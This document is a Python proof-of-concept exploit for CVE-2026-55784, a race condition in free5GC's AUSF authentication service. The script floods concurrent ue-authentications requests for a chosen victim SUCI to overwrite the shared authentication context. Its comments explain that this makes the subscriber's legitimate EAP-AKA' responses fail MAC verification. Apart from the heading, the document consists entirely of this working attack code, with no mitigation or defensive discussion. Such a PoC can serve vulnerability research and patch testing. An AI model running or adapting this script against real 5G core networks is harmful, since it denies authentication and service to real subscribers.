CVE-2026-55784: free5GC AUSF Authentication Context Race Condition

#!/usr/bin/env python3
# CVE-2026-55784 - free5GC AUSF authentication context overwrite PoC
# Sends concurrent POST /nausf-auth/v1/ue-authentications for the same SUCI.
# Each request is accepted (HTTP 201) and overwrites the shared UePool context.
# A legitimate EAP-AKA' response computed after this flood will fail AT_MAC
# verification because the AUSF now holds a different K_aut.

import asyncio
import httpx
import json

AUSF_URL   = "http://127.0.0.1:8100"
TARGET_SUCI = "suci-0-001-01-0-0-0-0000000002"   # victim subscriber
FLOOD_COUNT = 20

HEADERS = {"Content-Type": "application/json"}
BODY = json.dumps({
    "supiOrSuci": TARGET_SUCI,
    "servingNetworkName": "5G:mnc001.mcc001.3gppnetwork.org",
    "resynchronizationInfo": None
})

async def send_auth_request(client, idx):
    r = await client.post(
        f"{AUSF_URL}/nausf-auth/v1/ue-authentications",
        content=BODY,
        headers=HEADERS
    )
    print(f"[{idx:02d}] HTTP {r.status_code}")
    if r.status_code == 201:
        data = r.json()
        print(f"      EapID in response links: {data.get('_links', {})}")
    return r.status_code

async def main():
    async with httpx.AsyncClient(http2=True, timeout=10) as client:
        tasks = [
            send_auth_request(client, i)
            for i in range(FLOOD_COUNT)
        ]
        results = await asyncio.gather(*tasks)
    ok = results.count(201)
    print(f"\n{ok}/{FLOOD_COUNT} requests returned 201.")
    print("Context for SUPI is now the LAST writer's K_aut.")
    print("Any prior legitimate EAP-AKA' response will now fail AT_MAC.")

if __name__ == "__main__":
    asyncio.run(main())